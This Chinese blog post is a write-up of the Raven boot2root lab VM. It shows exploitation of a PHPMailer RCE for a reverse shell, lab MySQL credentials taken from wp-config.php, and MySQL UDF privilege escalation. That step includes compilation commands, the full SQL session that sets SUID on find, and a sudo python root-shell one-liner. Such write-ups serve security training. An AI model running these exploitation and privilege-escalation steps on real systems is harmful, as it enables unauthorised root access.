• skyler实战渗透笔记(三)—Raven


    skyler实战渗透笔记:

    笔记是为了记录实战渗透学习过程,分享渗透过程思路与方法。

    请注意:

    对于所有笔记中复现的终端或服务器,都是自行搭建环境或已获授权渗透的。使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,我概不负责。

    0x00 前言

    0x01 信息收集

    0x02 渗透get shell

    0x03 提权

    0x04 总结

    0x00 前言

    今天的目标,是一台Debian的机器,里面有4个flag,并且两种getshell的方法,一起来看下。

    0x01信息收集

    首先还是先发现目标:

    确定目标IP 192.168.245.143,然后端口扫一下看看:

    0x02 渗透getshell

    看起来开了22的ssh端口,80的web端口,以及一个特殊的rpcbind服务端口,那么下意识就觉得这个端口应该是有利用机会的,但是先从80访问看看:

    是一个blog系统,到处点了点没什么发现:

    目录扫一下试试:

     首先正常目录中每个页面查看下源代码,发现了第一个flag

    http://192.168.245.143/service.html

     扫描发现了几个特殊的目录,挨个访问下:

    http://192.168.245.143/manual/en/index.html

    这里发现用的中间件是apache 2.4

    http://192.168.245.143/vendor/

     这里是phpmail的目录,里面发现当前phpmailer版本是5.2.17

    网上搜了下,phpmailer这个版本有个远程命令执行的漏洞

    OK,expolit里搜下看看有没有攻击脚本:

     这边我先尝试了.sh的脚本,复制过来后执行报错,查了查报错内容,是因为这个从windows复制过来的脚本,换行符不一致,所以用dos2unix转换一下就可以执行了。

    执行了脚本,也获取到一个远程的shell,但是命令无法回显。再尝试下python的脚本:

    修改脚本中参数:

     编译执行报错,发现里面有中文字符,开头加上这一句话:# -*- coding: utf-8 -*

     

     再次执行,发现缺少库,pip install requests-toolbelt安装

    重新编译执行

    成功后,在kali本地开启端口监听8888,并访问http://192.168.245.143/back.php,获得shell并反弹bash

     获取到权限,发现是一个低权限用户,没事,先搜一波flag

    find / -name "*flag*"

    OK,成功拿到第二个flag,而且目录里还有个wordpress的子目录,wordpress是个一键建站的工具,那cd到子目录看看有什么信息:

    查看配置文件,发现了数据库的用户名和密码:cat wp-config.php

    OK,先看看数据库运行的权限:

     0x03 提权

     root运行的mysql。之前在学习sql注入的时候,注入成功后提权方式就提到了udf提权,正好拿来试试:

     查看mysql版本5.5.60

     用第二个,复制1518.c并编译生成动态链接库文件(DLL)

    gcc -g -c 1518.c

    gcc -g  -shared -Wl,-soname,1518.so -o 1518.so 1518.o –lc

     开启python服务器python -m SimpleHTTPServer 5555 ,并在目标机器中下载1518.so

    OK,登录进mysql,开始udf提权:

    mysql -uroot -pR@v3nSecurity

    具体方法如下:

     1 mysql> show databases;
     2 show databases;
     3 +--------------------+
     4 | Database           |
     5 +--------------------+
     6 | information_schema |
     7 | mysql              |
     8 | performance_schema |
     9 | wordpress          |
    10 +--------------------+
    11 4 rows in set (0.22 sec)
    12 
    13 mysql> use wordpress
    14 use wordpress
    15 Reading table information for completion of table and column names
    16 You can turn off this feature to get a quicker startup with -A
    17 
    18 Database changed
    19 mysql> create table foo(line blob);
    20 create table foo(line blob);
    21 Query OK, 0 rows affected (0.43 sec)
    22 
    23 mysql> insert into foo values(load_file('/var/www/html/1518.so'));
    24 insert into foo values(load_file('/var/www/html/1518.so'));
    25 Query OK, 1 row affected (0.10 sec)
    26 
    27 mysql> select * from foo into dumpfile '/usr/lib/mysql/plugin/1518.so';
    28 select * from foo into dumpfile '/usr/lib/mysql/plugin/1518.so';
    29 Query OK, 1 row affected (0.06 sec)
    30 
    31 mysql> create function do_system returns integer soname '1518.so';
    32 create function do_system returns integer soname '1518.so';
    33 Query OK, 0 rows affected (0.10 sec)
    34 
    35 mysql> select * from mysql.func;
    36 select * from mysql.func;
    37 +-----------+-----+---------+----------+
    38 | name      | ret | dl      | type     |
    39 +-----------+-----+---------+----------+
    40 | do_system |   2 | 1518.so | function |
    41 +-----------+-----+---------+----------+
    42 1 row in set (0.00 sec)
    43 
    44 mysql> select do_system('chmod u+s /usr/bin/find');
    45 select do_system('chmod u+s /usr/bin/find');
    46 +--------------------------------------+
    47 | do_system('chmod u+s /usr/bin/find') |
    48 +--------------------------------------+
    49 |                                    0 |
    50 +--------------------------------------+
    51 1 row in set (0.02 sec)
    52 mysql> quit
    53 quit
    54 Bye
    55 www-data@Raven:/var/www/html$ touch foo
    56 touch foo
    57 www-data@Raven:/var/www/html$ find foo -exec 'whoami' ;
    58 find foo -exec 'whoami' ;
    59 root
    60 www-data@Raven:/var/www/html$ find foo -exec '/bin/sh' ;
    61 find foo -exec '/bin/sh' ;
    62 # whoami
    63 whoami
    64 root
    65 # pwd
    66 pwd
    67 /var/www/html
    68 # cd /root
    69 cd /root
    70 # ls
    71 ls
    72 flag4.txt
    73 # cat flag4.txt
    74 cat flag4.txt
    75 ______
    76 
    77 | ___ 
    78 
    79 | |_/ /__ ___   _____ _ __
    80 
    81 |    // _`   / / _  '_ 
    82 
    83 | |  (_| | V /  __/ | | |
    84 
    85 \_| \_\__,_| \_/ \___|_| |_|
    86 
    87 
    88 flag4{715dea6c055b9fe3337544932f2941ce}
    89 
    90 CONGRATULATIONS on successfully rooting Raven!
    91 
    92 This is my first Boot2Root VM - I hope you enjoyed it.
    93 
    94 Hit me up on Twitter and let me know what you thought:
    95 
    96 @mccannwj / wjmccann.github.io

    提权成功,另外在数据库中,还有一些意外发现:

     posts表中,发现了两个flag:

     发现还有个user表,查看:

    发现两个用户和加密的密码,尝试md5解密:

    michael | $P$BjRvZQ.VQcGZlDeiKToCQd.cPw5XCe0

    steven | $P$Bk3VD9jsxx/loJoqNsURgHiaB23j7W/

     

    第一个没解出来,第二个:

     

     OK,解开了,尝试登录下看看:

    ssh steven@192.168.8.127

    进来了,查看用户权限

     

    发现可以运行python,那么直接python提权:

    sudo python -c 'import pty; pty.spawn("/bin/bash")'

     拿下!

     0x04 总结

    UDF提权:

    将udf文件放到指定位置(Mysql>5.1放在Mysql根目录的libplugin文件夹下)

    从udf文件中引入自定义函数(user defined function)

    执行自定义函数

    dumpfile通常用于读取二进制文件,不会造成损坏

    create function do_system是我们添加的新的函数,用于执行系统命令

    chmod u+s 表示给某个程序的所有者以suid权限,可以像root用户一样操作,也就是说给find命令最高权限

    find / -exec ‘/bin/sh’ ;最终提权,赋予根目录下最高权限1
     

  • 相关阅读:
    无向图求所有路径C#版
    centos 7 无痛安装 es
    rust 实现协程池
    spring boot fat jar 引入新的jar 文件到classpath
    nicolaka/netshoot 强大的容器网络问题解决工具
    使用nsenter 解决tcpcollect容器网络捕捉问题
    centraldogma git 镜像配置
    jmespath java 使用
    使用apicurio-registry 管理schema
    bfe 简单学习示例
  • 原文地址:https://www.cnblogs.com/Shepherdzhao/p/15240711.html
Copyright © 2020-2023  润新知